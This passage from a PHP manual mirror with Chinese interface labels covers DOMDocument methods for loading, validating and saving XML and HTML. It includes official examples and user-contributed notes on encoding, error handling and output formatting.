$load = @$dom->loadHTMLFile($url);
?>
andy at carobert dot com 25-May-2005 01:24
This puts the HTML into a DOM object which can be parsed by individual tags, attributes, etc..  Here is an example of getting all the 'href' attributes and corresponding node values out of the 'a' tag. Very cool....

<?php
$myhtml = <<<EOF
<html>
<head>
<title>My Page</title>
</head>
<body>
<p><a href="/mypage1">Hello World!</a></p>
<p><a href="/mypage2">Another Hello World!</a></p>
</body>
</html>
EOF;

$doc = new DOMDocument();
$doc->loadHTML($myhtml);

$tags = $doc->getElementsByTagName('a');

foreach ($tags as $tag) {
       echo $tag->getAttribute('href').' | '.$tag->nodeValue."\n";
}
?>

This should output:

/mypage1 | Hello World!
/mypage2 | Another Hello World!
bens at effortlessis dot com 08-Apr-2005 05:11
Note that this function doesn't parse the individual tags WITHIN the html file - it's all loaded as a "black box", and you end up with an XML widget that comprises nothing but the complete chunk of HTML.

I was hoping it would function as a sort of HTML-validator/parser, but that doesn't seem to be the case.


Load XML from a string

  • ? DOMDocument::loadHTMLFile
  • DOMDocument::normalizeDocument ?
  • PHP Manual
  • DOMDocument
  • Load XML from a string

DOMDocument::loadXML

(PHP 5, PHP 7)

DOMDocument::loadXML — Load XML from a string

说明

public DOMDocument::loadXML ( string $source [, int $options = 0 ] ) : mixed

Loads an XML document from a string.

参数

source

The string containing the XML.

options

Bitwise OR of the libxml option constants.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。 If called statically, returns a DOMDocument 或者在失败时返回 FALSE.

错误／异常

If an empty string is passed as the source, a warning will be generated. This warning is not generated by libxml and cannot be handled using libxml's error handling functions.

此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

范例

Example #1 Creating a Document

<?php
$doc = new DOMDocument();
$doc->loadXML('<root><node/></root>');
echo $doc->saveXML();
?>

Example #2 Static invocation of loadXML

<?php
// Issues an E_STRICT error
$doc = DOMDocument::loadXML('<root><node/></root>');
echo $doc->saveXML();
?>

参见

  • DOMDocument::load() - Load XML from a file
  • DOMDocument::save() - Dumps the internal XML tree back into a file
  • DOMDocument::saveXML() - Dumps the internal XML tree back into a string

User Contributed Notes

Gustavo L. Fabro 14-Nov-2013 04:41
Always remember that with the default parameters this function doesn't handle well large files, i.e. if a text node is longer than 10Mb it can raise an exception stating:

DOMDocument::loadXML(): internal error Extra content at the end of the document in Entity

even though the XML is fine.

The cause is a definition in parserInternals.h of lixml:
#define XML_MAX_TEXT_LENGTH 10000000

To allow the function to process larger files, pass the LIBXML_PARSEHUGE as an option and it will work just fine:

$domDocument->loadXML($xml, LIBXML_PARSEHUGE);
szalma dot laszlo at zengo dot eu 27-Oct-2009 08:14
Loading from a string works fine without the <?xml version="1.0" encoding="utf-8"?> header, but in this case the xmlEncoding won't be set, and this makes the utf-8 characters (international, and special characters) to be encoded as hexa entities when saved with saveXML()!
remacg 26-Feb-2009 07:33
Instead of doing this:

<?php
$str = <<<XML
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE root [
<!ENTITY nbsp "&#160;">
]>
<div>This&nbsp;is a non-breaking space.</div>
XML;

$dd2 = new DOMDocument();
$dd2->loadXML($str);

echo $dd2->saveXML();
?>

simply use:

loadHTML() rather than loadXML().
olalonde at NOSPAM dot gmail dot com 21-Mar-2008 05:00
For some reason, when you set DOMDocument's property 'recover' to true, using '@' to mask errors thrown by loadXml() won't work.

Here's my workaround:

function maskErrors() {}
set_error_handler('maskErrors');
$dom->loadXml($xml);
restore_error_handler();

You could also simply do this: error_reporting(0); and then set back error_reporting to its original state.
Stuart Grimshaw 26-Jun-2007 01:57
Possible values for the options parameter can be found here:

http://us3.php.net/manual/en/ref.libxml.php#libxml.constants
Marc Liyanage 18-Jun-2007 07:08
The documentation states that loadXML can be called statically, but this is misleading. This feature seems to be a special case hack and its use seems to be discouraged according to http://bugs.php.net/bug.php?id=41398.

Calling the method statically will fail with an error if the code runs with E_STRICT error reporting enabled.

The documentation should be changed to make it clear that a static call is against recommended practice and won't work with E_STRICT.
jazzslider at hotmail dot com 30-Apr-2007 01:14
When using loadXML() to parse a string that contains entity references (e.g., &nbsp;), be sure that those entity references are properly declared through the use of a DOCTYPE declaration; otherwise, loadXML() will not be able to interpret the string.

Example:
<?php
$str = <<<XML
<?xml version="1.0" encoding="iso-8859-1"?>
<div>This&nbsp;is a non-breaking space.</div>
XML;

$dd1 = new DOMDocument();
$dd1->loadXML($str);

echo $dd1->saveXML();
?>

Given the above code, PHP will issue a Warning about the entity 'nbsp' not being properly declared.  Also, the call to saveXML() will return nothing but a trimmed-down version of the original processing instruction...everything else is gone, and all because of the undeclared entity.

Instead, explicitly declare the entity first:
<?php
$str = <<<XML
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE root [
<!ENTITY nbsp "&#160;">
]>
<div>This&nbsp;is a non-breaking space.</div>
XML;

$dd2 = new DOMDocument();
$dd2->loadXML($str);

echo $dd2->saveXML();
?>

Since the 'nbsp' entity is defined in the DOCTYPE, PHP no longer issues that Warning; the string is now well-formed, and loadXML() understands it perfectly.

You can also use references to external DTDs in the same way (e.g., <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">), which is particularly important if you need to do this for many different documents with many different possible entities.

Also, as a sidenote...entity references created by createEntityReference() do not need this kind of explicit declaration.
shaoyu73 at gmail dot com 15-Mar-2007 08:53
earth at anonymous dot com,

preserveWhiteSpace property needs to be set to false for formatOutput to work properly, for some reason.

$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
$dom->loadXML($xmlStr);
...
$element->appendChild(...);
...
$dom->formatOutput = true;
$xmlStr = $dom->saveXML();
echo $xmlStr;

This would format the output nicely.
Gavin Sinai gsinai at gmx dot net 30-Aug-2006 07:34
loadXml reports an error instead of throwing an exception when the xml is not well formed. This is annoying if you are trying to to loadXml() in a try...catch statement. Apparently its a feature, not a bug, because this conforms to a spefication.

If you want to catch an exception instead of generating a report, you could do something like

<?php
function HandleXmlError($errno, $errstr, $errfile, $errline)
{
    if ($errno==E_WARNING && (substr_count($errstr,"DOMDocument::loadXML()")>0))
    {
        throw new DOMException($errstr);
    }
    else
        return false;
}

function XmlLoader($strXml)
{
    set_error_handler('HandleXmlError');
    $dom = new DOMDocument();
    $dom->loadXml($strXml);
    restore_error_handler();
    return $dom;
 }

?>

Returning false in function HandleXmlError() causes a fallback to the default error handler.
mp at webfactory dot de 08-Aug-2006 08:26
While loadXML() expects its input to have a leading XML processing instruction to deduce the encoding used, there's no such concept in (non-XML) HTML documents. Thus, the libxml library underlying the DOM functions peeks at the <META> tags to figure out the encoding used.

See http://xmlsoft.org/encoding.html.
earth at anonymous dot com 12-Apr-2006 02:28
Note that loadXML crops off beginning and trailing whitespace and linebreaks.

When using loadXML and appendChild to add a chunk of XML to an existing document, you may want to force a linebreak between the end of the XML chunk and the next line (usually a close tag) in the output file:

$childDocument = new DOMDocument;
$childDocument>preserveWhiteSpace = true;
$childDocument->loadXML(..XML-Chunk..);
$mNewNode = $mainDOcument->importNode($childDocument->documentElement, true);
$ParentNode->appendChild($mNewNode);
$ParentNode->appendChild($mainDocument->createTextNode("\\n  ");

Although it is said that DOM should not be used to make 'pretty' XML output, it is something I struggled with to get something that was readable for testing.  Another solution is to use the createDocumentFragment()->appendXML(..XML-Chunk..) instead, which seems not to trim off linebreaks like DOMDocument->loadXML() does.


Normalizes the document

  • ? DOMDocument::loadXML
  • DOMDocument::registerNodeClass ?
  • PHP Manual
  • DOMDocument
  • Normalizes the document

DOMDocument::normalizeDocument

(PHP 5, PHP 7)

DOMDocument::normalizeDocument — Normalizes the document

说明

public DOMDocument::normalizeDocument ( void ) : void

This method acts as if you saved and then loaded the document, putting the document in a "normal" form.

返回值

没有返回值。

参见

  • » The DOM Specification
  • DOMNode::normalize() - Normalizes the node

User Contributed Notes

lingasamy dot sakthivel at gmail dot com 16-Apr-2015 05:44
You can use this in this way.

$doc = new DOMDocument('1.0', 'UTF-8');
$doc->loadHTML($content); // html content
$xpath = new DOMXPath($doc);
$doc->normalizeDocument();

Note that, you can use $doc->normalizeDocument(); at any point of time.


Register extended class used to create base node type

  • ? DOMDocument::normalizeDocument
  • DOMDocument::relaxNGValidate ?
  • PHP Manual
  • DOMDocument
  • Register extended class used to create base node type

DOMDocument::registerNodeClass

(PHP 5 >= 5.2.0, PHP 7)

DOMDocument::registerNodeClass — Register extended class used to create base node type

说明

public DOMDocument::registerNodeClass ( string $baseclass , string $extendedclass ) : bool

This method allows you to register your own extended DOM class to be used afterward by the PHP DOM extension.

This method is not part of the DOM standard.

参数

baseclass

The DOM class that you want to extend. You can find a list of these classes in the chapter introduction.

extendedclass

Your extended class name. If NULL is provided, any previously registered class extending baseclass will be removed.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
5.2.2 | Prior to 5.2.2, a previously registered extendedclass had to be unregistered before being able to register a new class extending the same baseclass.

范例

Example #1 Adding a new method to DOMElement to ease our code

<?php

class myElement extends DOMElement {
   function appendElement($name) {
      return $this->appendChild(new myElement($name));
   }
}

class myDocument extends DOMDocument {
   function setRoot($name) {
      return $this->appendChild(new myElement($name));
   }
}

$doc = new myDocument();
$doc->registerNodeClass('DOMElement', 'myElement');

// From now on, adding an element to another costs only one method call !
$root = $doc->setRoot('root');
$child = $root->appendElement('child');
$child->setAttribute('foo', 'bar');

echo $doc->saveXML();

?>

以上例程会输出：

<?xml version="1.0"?>
<root><child foo="bar"/></root>

Example #2 Retrieving elements as custom class

<?php
class myElement extends DOMElement {
    public function __toString() {
        return $this->nodeValue;
    }
}

$doc = new DOMDocument;
$doc->loadXML("<root><element><child>text in child</child></element></root>");
$doc->registerNodeClass("DOMElement", "myElement");

$element = $doc->getElementsByTagName("child")->item(0);
var_dump(get_class($element));

// And take advantage of the __toString method..
echo $element;
?>

以上例程会输出：

string(9) "myElement"
text in child

Example #3 Retrieving owner document

When instantiating a custom DOMDocument the ownerDocument property will refer to the instantiated class, meaning there is no need (and in fact not possible) to use DOMDocument::registerNodeClass() with DOMDocument

<?php
class myDOMDocument extends DOMDocument {
}

class myOtherDOMDocument extends DOMDocument {
}

// Create myDOMDocument with some XML
$doc = new myDOMDocument;
$doc->loadXML("<root><element><child>text in child</child></element></root>");

$child = $doc->getElementsByTagName("child")->item(0);

// The current owner of the node is myDOMDocument
var_dump(get_class($child->ownerDocument));

// Import a node from myDOMDocument
$newdoc = new myOtherDOMDocument;
$child = $newdoc->importNode($child);

// The new owner of the node has changed to myOtherDOMDocument
var_dump(get_class($child->ownerDocument));
?>

以上例程会输出：

string(13) "myDOMDocument"
string(18) "myOtherDOMDocument"

User Contributed Notes

crh3675 at gmail dot com 25-Sep-2009 08:23
Creating innerHTML and outerHTML

<?php

class DOMHTMLElement extends DOMElement
{
    function __construct() { parent::__construct();}

    public function innerHTML()
    {
        $doc = new DOMDocument();
      foreach ($this->childNodes as $child){
          $doc->appendChild($doc->importNode($child, true));
        }
        $content = $doc->saveHTML();
        return $content;
    }

    public function outerHTML()
    {
        $doc = new DOMDocument();
        $doc->appendChild($doc->importNode($this, true));
        $content = $doc->saveHTML();
        return $content;
    }
}

$dom = DOMDocument::loadHTMLFile($file);
$dom->registerNodeClass('DOMElement','DOMHTMLElement');

if($dom)
{
    $xpath = new DOMXpath($dom);
    $regions = $xpath->query("//*[contains(@class, 'editable')]");
    $content = '';

    foreach($regions as $region){
        $content .= $region->outerHTML();
    }

    return $content;

}else{
    throw new Exception('Cannot parse HTML.  Please verify the syntax is correct.');
}
?>
arnold at adaniels dot nl 22-Jul-2009 03:10
Note than save and saveXML are not affected by __toString().


Performs relaxNG validation on the document

  • ? DOMDocument::registerNodeClass
  • DOMDocument::relaxNGValidateSource ?
  • PHP Manual
  • DOMDocument
  • Performs relaxNG validation on the document

DOMDocument::relaxNGValidate

(PHP 5, PHP 7)

DOMDocument::relaxNGValidate — Performs relaxNG validation on the document

说明

public DOMDocument::relaxNGValidate ( string $filename ) : bool

Performs » relaxNG validation on the document based on the given RNG schema.

参数

filename

The RNG file.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • DOMDocument::relaxNGValidateSource() - Performs relaxNG validation on the document
  • DOMDocument::schemaValidate() - Validates a document based on a schema
  • DOMDocument::schemaValidateSource() - Validates a document based on a schema
  • DOMDocument::validate() - Validates the document based on its DTD

User Contributed Notes

scarywound at gmail dot com 17-Oct-2012 11:39
Keep in mind that this method can't handle schemas in compact syntax!
mitchell dot beaumont at mitchellbeaumont dot com 26-Aug-2007 07:28
It's worth noting that when validation fails this function also triggers a warning.

You can suppress the warning using the set_error_handler and restore_error_handler functions.


Performs relaxNG validation on the document

  • ? DOMDocument::relaxNGValidate
  • DOMDocument::save ?
  • PHP Manual
  • DOMDocument
  • Performs relaxNG validation on the document

DOMDocument::relaxNGValidateSource

(PHP 5, PHP 7)

DOMDocument::relaxNGValidateSource — Performs relaxNG validation on the document

说明

public DOMDocument::relaxNGValidateSource ( string $source ) : bool

Performs » relaxNG validation on the document based on the given RNG source.

参数

source

A string containing the RNG schema.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • DOMDocument::relaxNGValidate() - Performs relaxNG validation on the document
  • DOMDocument::schemaValidate() - Validates a document based on a schema
  • DOMDocument::schemaValidateSource() - Validates a document based on a schema
  • DOMDocument::validate() - Validates the document based on its DTD

User Contributed Notes

There are no user contributed notes for this page.


Dumps the internal XML tree back into a file

  • ? DOMDocument::relaxNGValidateSource
  • DOMDocument::saveHTML ?
  • PHP Manual
  • DOMDocument
  • Dumps the internal XML tree back into a file

DOMDocument::save

(PHP 5, PHP 7)

DOMDocument::save — Dumps the internal XML tree back into a file

说明

public DOMDocument::save ( string $filename [, int $options = 0 ] ) : int

Creates an XML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

filename

The path to the saved XML document.

options

Additional Options. Currently only LIBXML_NOEMPTYTAG is supported.

返回值

Returns the number of bytes written or FALSE if an error occurred.

更新日志

版本 | 说明
5.1.0 | Added the options parameter

范例

Example #1 Saving a DOM tree into a file

<?php

$doc = new DOMDocument('1.0');
// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('book');
$root = $doc->appendChild($root);

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo 'Wrote: ' . $doc->save("/tmp/test.xml") . ' bytes'; // Wrote: 72 bytes

?>

参见

  • DOMDocument::saveXML() - Dumps the internal XML tree back into a string
  • DOMDocument::load() - Load XML from a file
  • DOMDocument::loadXML() - Load XML from a string

User Contributed Notes

dubois-holvoet dot patrick at neuf dot fr 25-Feb-2016 08:13
I just intend to bring my little contribution to the use of DOMDocument::save() function along with PHP serialize() function.

Sometimes you could have to serialize a PHP object before you put it into a XML structure (or other..). And then I suppose you could have to save this XML structure in a file. Of course, you will further need to read this file and unserialize it before to use its content.

The problem appears when there are some properties described as Protected in the object to be serialized.

As it's written in the PHP documentation, serialize function add for those protected properties an asterisk before the name of the property along with a NULL character on each side of the asterisk.
In this case, the DOMDocument::save function will stop the save operation just before the first NULL character met in the string to be saved, because PHP consider it as a potential risk.
So, after that, the unserialize operation of the file become impossible.

To solve that, here is a first solution to apply :

For the serialize , before the DOMDocument::save() ::
$data_serial = explode("\x00\x2A\x00", serialize($object));  //take off the 'NULL * NULL' string
$data_serial = implode("\x5C\x30\x2A\x5C\x30", $data_serial);    //and replace with '\0*\0' string

Before the unserialize :
$data_serial = explode("\x5C\x30\x2A\x5C\x30", $serialized_object);    // take off the '\0*\0' string
$serial_object = implode("\x00\x2A\x00", $data_serial);      // and replace with 'NULL * NULL' string as included by the previous serialize

And a second solution :

For the serialize, before the DOMDocument::save() :
$serialized_object = addslashes(serialize($object)) ;

Before re-using the object in your application :
$object = unserialize(stripslashes($serialized_object)) ;

Hope this will help some.
ludvig at ergopedia dot no 31-Oct-2014 10:21
When creating a DOMDocument from scratch and saving it, the encoding will be utf-8, although it's declared as iso-8859-1.

When loading an XML-file declared and saved as iso-8859-1, php will keep the correct encoding when it's saved after changes are made.

Php converts files declared as iso-8859-1 to utf-8 internally. To add text containing special characters, the text must be encoded as utf-8. When the document is saved, special characters are converted to iso-8859-1.

To save an xml created from scratch, use fopen/fwrite and utf8_decode:

   $doc = new DOMDocument('1.0', 'iso-8859-1');

//Add som nodes and text with apropriate methods

   $f = fopen('xmlfile.xml', 'w+');
   fwrite($f, utf8_decode($doc->saveXML()));
   fclose($f);
john at johnreid dot it 06-Aug-2013 09:42
I had been hitting my head against the wall when I couldn't get an edited XML file to save due to file permissions, even though I knew that it was OK.

Eventually I realised that for some odd reason, when I went to save the XML file, it would try to write the file to the root directory.

As such, use realpath() to keep the complete system path to the XML file when you load it:

<?php
$myfile = 'myxml.xml';
$myfile = realpath($myfile);
$doc = new DOMDocument('1.0');
$doc->load($myfile);

// Let's just add a couple of elements for good measure
$root = $doc->documentElement;

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is a title');
$text = $title->appendChild($text);

$doc->save($myfile);
?>
ss at littlerain dot com 01-Feb-2009 12:05
In addition to:
DOMDocument->formatOutput = true
DOMDocument->preserveWhiteSpace = false

...you also have to ensure you don't add text nodes as siblings of element nodes, or formatOutput won't work.
chenel324 at gmail dot com 19-Oct-2008 06:38
It took me forever to discover that
DOMDocument->formatOutput = true
will only have an effect on documents that are loaded from disk if one also sets
DOMDocument->preserveWhiteSpace = false ....

Hope this saves somebody a headache.
siegparr at NOSPAM dot web dot de 07-Jul-2006 08:00
The XML parser converts the text of an XML document into UTF-8, even if you have set the character encoding of the XML, for example as a second parameter of the DOMDocument constructor. After parsing the XML with the load() command all its texts have been converted to UTF-8.

In case you append text nodes with special characters (e. g. Umlaut) to your XML document you should therefore use utf8_encode() with your text to convert it into UTF-8 before you append the text to the document. Otherwise you will get an error message like "output conversion failed due to conv error" at the save() command. See example below:

<?php
// Text to insert into XML below
$txt = "a text with special characters like '?', '?', 'ü' etc.";

// Create Instance of DOMDocument
$dom =  new DOMDocument;
// Load XML file
// Was created before with DOMDocument('1.0', 'iso-8859-1')
$dom = $dom->load("file.xml");
// Find the parent node
$parent = $dom->documentElement;
// Create Instance of DomXPath
$xpath = new DomXPath($dom);
// new node will be inserted before this node
$next = $xpath->query("//parentnode/childnode");
// Create the new element
$new_elem = $dom->createElement('new_elem');
// Insert the new element
$parent->insertBefore($new_elem, $next->item(0));
// DOMXML = utf-8! (will be converted to iso-8859-1 only at 'save()')
// prevents error message "output conversion failed due to conv error" at 'save()'
$txt = utf8_encode($txt);
// Create new text node with utf-8 encoded string
$nodetext = $dom->createTextNode("$txt");
// Append text node to new element
$nodetext = $new_elem->appendChild($nodetext);
// save
$dom->save("file.xml");
?>

Hope this helps someone.

siegparr


Dumps the internal document into a string using HTML formatting

  • ? DOMDocument::save
  • DOMDocument::saveHTMLFile ?
  • PHP Manual
  • DOMDocument
  • Dumps the internal document into a string using HTML formatting

DOMDocument::saveHTML

(PHP 5, PHP 7)

DOMDocument::saveHTML — Dumps the internal document into a string using HTML formatting

说明

public DOMDocument::saveHTML ([ DOMNode $node = NULL ] ) : string

Creates an HTML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

node

Optional parameter to output a subset of the document.

返回值

Returns the HTML, or FALSE if an error occurred.

更新日志

版本 | 说明
5.3.6 | The node parameter was added.

范例

Example #1 Saving a HTML tree into a string

<?php

$doc = new DOMDocument('1.0');

$root = $doc->createElement('html');
$root = $doc->appendChild($root);

$head = $doc->createElement('head');
$head = $root->appendChild($head);

$title = $doc->createElement('title');
$title = $head->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo $doc->saveHTML();

?>

参见

  • DOMDocument::saveHTMLFile() - Dumps the internal document into a file using HTML formatting
  • DOMDocument::loadHTML() - Load HTML from a string
  • DOMDocument::loadHTMLFile() - Load HTML from a file

User Contributed Notes

jeboy 28-Sep-2017 02:57
LIBXML_HTML_NOIMPLIED doesn't work on PHP 7.1.9 with libxml2-2.7.8
sasha @ goldnet dot ca 27-Jul-2017 04:21
When saving HTML fragment initiated with LIBXML_HTML_NOIMPLIED option, it will end up being "broken" as libxml requires root element. libxml will attempt to fix the fragment by adding closing tag at the end of string based on the first opened tag it encounters in the fragment.

For an example:

<h1>Foo</h1><p>bar</p>

will end up as:

<h1>Foo<p>bar</p></h1>

Easiest workaround is adding root tag yourself and stripping it later:

$html->loadHTML('<html>' . $content .'</html>', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);

$content = str_replace(array('<html>','</html>') , '' , $html->saveHTML());
contact at cathexis dot de 31-Aug-2016 10:41
If you load HTML from a string ensure the charset is set.

<?php
...
$html_src = '<html><head><meta content="text/html; CHARSET=gb2312" http-equiv="Content-Type"></head><body>';
$html_src .= '...';
...
?>

Otherwise the charset will be ISO-8859-1!
tomas dot strejcek at ghn dot cz 20-Aug-2016 12:34
As of PHP 5.4 and Libxml 2.6, there is currently simpler approach:

when you load html as this

$html->loadHTML($content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);

in the output, there will be no doctype, html or body tags
Anonymous 11-Dec-2015 03:38
To solve the script tag problem just add an empty text node to the script node and DOMDocument will render <script src="your.js"></script> nicely.
RiKdnUA at mail dot ru 29-Apr-2015 03:49
Tested in PHP 5.2.9-2 and PHP 5.2.17.
saveHTML() игнорирует свойство DOMDocument->encoding. Метод saveHTML() сохраняет html-документ в кодировке, которая указана в теге <meta> исходного (загруженного) html-документа.
saveHTML() ignores property DOMDocument->encoding. Method saveHTML() saves the html-document encoding, which is specified in the tag <meta> source (downloaded) html-document.
Example:
file.html. Кодировка файла должна совпадать с указанной в теге <meta>. The encoding of the file must match the specified tag <meta>.
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Russian language</title></head>
<body>Русский язык</body></html>

<?php
error_reporting(-1);
$document=new domDocument('1.0', 'UTF-8');
$document->preserveWhiteSpace=false;
$document->loadHTMLFile('file.html');
$document->formatOutput=true;
$document->encoding='UTF-8';
$htm=$document->saveHTML();
echo"Записано байт. Recorded bytes: ".file_put_contents('file_new.html', $htm);
?>
file_new.html будет в кодировке Windows-1251 (НЕ в UTF-8).
file_new.html will be encoded in Windows-1251 (not in UTF-8).

saveHTML() и file_put_contents() позволяют преодолеть недостаток метода saveHTMLFile().
Смотрите мой комментарий к методу saveHTMLFile().
saveHTML() and file_put_contents() allows you to overcome the lack of a method saveHTMLFile().
See my comment on the method saveHTMLFile().
http://php.net/manual/ru/domdocument.savehtmlfile.php
qrworld.net 11-Nov-2014 04:34
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
alvaro at demogracia dot com 29-Mar-2011 11:04
Since PHP/5.3.6, DOMDocument->saveHTML() accepts an optional DOMNode parameter similarly to DOMDocument->saveXML():

http://bugs.php.net/bug.php?id=39771
Yajo 24-Nov-2010 07:21
Another way to workaround the <script/> problem is putting a semicolon (;) inside the script element.
Anonymous 09-Feb-2010 07:52
If you want a simpler way to get around the <script> tag problem try:

<?php

  $script = $doc->createElement ('script');\
  // Creating an empty text node forces <script></script>
  $script->appendChild ($doc->createTextNode (''));
  $head->appendChild ($script);

?>
Anonymous 12-May-2009 07:35
To avoid script tags from being output as <script />, you can use the DOMDocumentFragment class:

<?php

$doc = new DOMDocument();
$doc -> loadXML($xmlstring);
$fragment = $doc->createDocumentFragment();
/* Append the script element to the fragment using raw XML strings (will be preserved in their raw form) and if succesful proceed to insert it in the DOM tree */
if($fragment->appendXML("<script type='text/javascript' src='$source'></script>") {
  $xpath = new DOMXpath($doc);
  $resultlist = $xpath->query("//*[local-name() = 'html']/*[local-name() = 'head']"); /* namespace-safe method to find all head elements which are childs of the html element, should only return 1 match */
  foreach($resultlist as $headnode)  // insert the script tag
     $headnode->appendChild($fragment);
}
$doc->saveXML(); /* and our script tags will still be <script></script> */

?>
Bart Feenstra 18-Jan-2009 10:17
I am using this solution to prevent tags and the doctype from being added to the HTML string automatically:

<?php
$html = '<h1>Hello world!</h1>';
$html = '<div>' . $html . '</div>';
$doc = new DOMDocument;
$doc->loadHTML($html);
echo substr($doc->saveXML($doc->getElementsByTagName('div')->item(0)), 5, -6)

// Outputs: "<h1>Hello world!</h1>"
?>
m at hbblogs daught calm 18-Aug-2008 08:41
This method, as of 5.2.6, will automatically add <html><body> and <!DOCTYPE> tags to the document if they are missing, without asking whether you want them. In my application, I needed to use the DOM methods to manipulate just a fragment of html, so these tags were rather unhelpful.

Here's a simple hack to remove them in case, like me, all you wanted to do was perform a few operations on an HTML fragment.

$html_fragment = preg_replace('/^<!DOCTYPE.+?>/', '', str_replace( array('<html>', '</html>', '<body>', '</body>'), array('', '', '', ''), $dom->saveHTML()));
Anonymous 25-Apr-2008 08:15
<?php
function getDOMString($retNode) {
  if (!$retNode) return null;
  $retval = strtr($retNode-->ownerDocument->saveXML($retNode),
  array(
    '></area>' => ' />',
    '></base>' => ' />',
    '></basefont>' => ' />',
    '></br>' => ' />',
    '></col>' => ' />',
    '></frame>' => ' />',
    '></hr>' => ' />',
    '></img>' => ' />',
    '></input>' => ' />',
    '></isindex>' => ' />',
    '></link>' => ' />',
    '></meta>' => ' />',
    '></param>' => ' />',
    'default:' => '',
    // sometimes, you have to decode entities too...
    '&quot;' => '&#34;',
    '&amp;' =>  '&#38;',
    '&apos;' => '&#39;',
    '&lt;' =>   '&#60;',
    '&gt;' =>   '&#62;',
    '&nbsp;' => '&#160;',
    '&copy;' => '&#169;',
    '&laquo;' => '&#171;',
    '&reg;' =>   '&#174;',
    '&raquo;' => '&#187;',
    '&trade;' => '&#8482;'
  ));
  return $retval;
}
?>
mjaque at ilkebenson dot com 19-Feb-2008 11:34
DOMDocument->saveXML() doesn't generate a proper XHTML format either.

There is a problem with "script" empty elements. For example:

This will be the code generated by saveXML, with an empty script tag.

<html>
  <head>
    <script type="text/JavaScript" src="myScript.js"/>
  </head>
  <body>
    <p>I will not appear</p>
    <script type="text/JavaScript">
    alert("Not working");
    </script>
  </body>
</html>

I don't know if this is valid XHTML (W3C Validator doesn't complain), but both FF 2.0 and IE 6 will not render it properly. Both will use </script> as the closing tag for the first script causing js errors and ignoring in between elements.

You can post-process saveXML string in order to close empty tags with the following function:

<?php
    function cerrarTag($tag, $xml){
        $indice = 0;
        while ($indice< strlen($xml)){
            $pos = strpos($xml, "<$tag ", $indice);
            if ($pos){
                $posCierre = strpos($xml, ">", $pos);
                if ($xml[$posCierre-1] == "/"){
                    $xml = substr_replace($xml, "></$tag>", $posCierre-1, 2);
                }
                $indice = $posCierre;
            }
            else break;
        }
        return $xml;
    }
?>

At least script and select empty elements should be closed. This example shows how it can be used:

<?php
    define("CABECERA_XHTML", '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">');

  $xhtml = $docXML->saveXML($docXML->documentElement);
  $xhtml = cerrarTag("script", $xhtml);
  $xhtml = cerrarTag("select", $xhtml);
  $xhtml = CABECERA_XHTML."\n".$xhtml;
  echo $xhtml;
?>
archanglmr at yahoo dot com 27-Nov-2007 03:28
If created your DOMDocument object using loadHTML() (where the source is from another site) and want to pass your changes back to the browser you should make sure the HTTP Content-Type header matches your meta content-type tags value because modern browsers seem to ignore the meta tag and trust just the HTTP header. For example if you're reading an ISO-8859-1 document and your web server is claiming UTF-8 you need to correct it using the header() function.

<?php
header('Content-Type: text/html; charset=iso-8859-1');
?>
xoplqox 20-Nov-2007 11:07
XHTML:

If the output is XHTML use the function saveXML().

Output example for saveHTML:

<select name="pet" size="3" multiple>
    <option selected>mouse</option>
    <option>bird</option>
    <option>cat</option>
</select>

XHTML conform output using saveXML:

<select name="pet" size="3" multiple="multiple">
    <option selected="selected">mouse</option>
    <option>bird</option>
    <option>cat</option>
</select>
tyson at clugg dot net 21-Apr-2005 05:44
<?php
// Using DOM to fix sloppy HTML.
// An example by Tyson Clugg <tyson@clugg.net>
//
// vim: syntax=php expandtab tabstop=2

function tidyHTML($buffer)
{
  // load our document into a DOM object
  $dom = @DOMDocument::loadHTML($buffer);
  // we want nice output
  $dom->formatOutput = true;
  return($dom->saveHTML());
}

// start output buffering, using our nice
// callback funtion to format the output.
ob_start("tidyHTML");

?>
<html>
<p>It's like comparing apples to oranges.
</html>
<?php

// this will be called implicitly, but we'll
// call it manually to illustrate the point.
ob_end_flush();

?>

The above code takes out sloppy HTML:
 <html>
 <p>It's like comparing apples to oranges.
 </html>

And cleans it up to the following:
 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
 <html><body><p>It's like comparing apples to oranges.
 </p></body></html>


Dumps the internal document into a file using HTML formatting

  • ? DOMDocument::saveHTML
  • DOMDocument::saveXML ?
  • PHP Manual
  • DOMDocument
  • Dumps the internal document into a file using HTML formatting

DOMDocument::saveHTMLFile

(PHP 5, PHP 7)

DOMDocument::saveHTMLFile — Dumps the internal document into a file using HTML formatting

说明

public DOMDocument::saveHTMLFile ( string $filename ) : int

Creates an HTML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

filename

The path to the saved HTML document.

返回值

Returns the number of bytes written or FALSE if an error occurred.

范例

Example #1 Saving a HTML tree into a file

<?php

$doc = new DOMDocument('1.0');
